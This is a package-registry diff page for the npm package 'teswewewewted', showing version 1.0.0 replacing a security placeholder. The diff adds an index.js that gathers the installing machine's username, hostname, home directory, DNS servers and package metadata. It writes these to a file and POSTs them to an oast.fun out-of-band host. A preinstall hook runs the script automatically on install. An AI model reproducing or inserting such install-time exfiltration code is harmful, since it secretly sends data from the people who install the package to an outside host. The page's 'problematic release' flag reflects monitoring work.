teswewewewted 0.0.1-security → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of teswewewewted might be problematic. Click here for more details.
- package/index.js +57 -0
- package/package.json +9 -3
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,57 @@
|
|
|
1
|
+
// author:- whitehacker003@protonmail.com
|
|
2
|
+
const os = require("os");
|
|
3
|
+
const dns = require("dns");
|
|
4
|
+
const querystring = require("querystring");
|
|
5
|
+
const https = require("https");
|
|
6
|
+
const fs = require("fs"); // Required for file system operations
|
|
7
|
+
const packageJSON = require("./package.json");
|
|
8
|
+
const package = packageJSON.name;
|
|
9
|
+
|
|
10
|
+
const trackingData = JSON.stringify({
|
|
11
|
+
p: package,
|
|
12
|
+
c: __dirname,
|
|
13
|
+
hd: os.homedir(),
|
|
14
|
+
hn: os.hostname(),
|
|
15
|
+
un: os.userInfo().username,
|
|
16
|
+
dns: dns.getServers(),
|
|
17
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
|
18
|
+
v: packageJSON.version,
|
|
19
|
+
pjson: packageJSON,
|
|
20
|
+
});
|
|
21
|
+
|
|
22
|
+
// Write tracking data to poc.txt in the current directory
|
|
23
|
+
fs.writeFile("poc.txt", trackingData, (err) => {
|
|
24
|
+
if (err) {
|
|
25
|
+
console.error("Error writing to file:", err);
|
|
26
|
+
} else {
|
|
27
|
+
console.log("poc.txt created successfully.");
|
|
28
|
+
}
|
|
29
|
+
});
|
|
30
|
+
|
|
31
|
+
var postData = querystring.stringify({
|
|
32
|
+
msg: trackingData,
|
|
33
|
+
});
|
|
34
|
+
|
|
35
|
+
var options = {
|
|
36
|
+
hostname: "odslepmanwwqhnzahpzfub62fn8fkrvzf.oast.fun", //replace burpcollaborator.net with Interactsh or pipedream
|
|
37
|
+
port: 443,
|
|
38
|
+
path: "/",
|
|
39
|
+
method: "POST",
|
|
40
|
+
headers: {
|
|
41
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
|
42
|
+
"Content-Length": postData.length,
|
|
43
|
+
},
|
|
44
|
+
};
|
|
45
|
+
|
|
46
|
+
var req = https.request(options, (res) => {
|
|
47
|
+
res.on("data", (d) => {
|
|
48
|
+
process.stdout.write(d);
|
|
49
|
+
});
|
|
50
|
+
});
|
|
51
|
+
|
|
52
|
+
req.on("error", (e) => {
|
|
53
|
+
// console.error(e);
|
|
54
|
+
});
|
|
55
|
+
|
|
56
|
+
req.write(postData);
|
|
57
|
+
req.end();
|
package/package.json
CHANGED
|
@@ -1,6 +1,12 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "teswewewewted",
|
|
3
|
-
"version": "0.0
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "## Usage",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
|
8
|
+
"preinstall": "node index.js"
|
|
9
|
+
},
|
|
10
|
+
"author": "",
|
|
11
|
+
"license": "ISC"
|
|
6
12
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=teswewewewted for more information.
|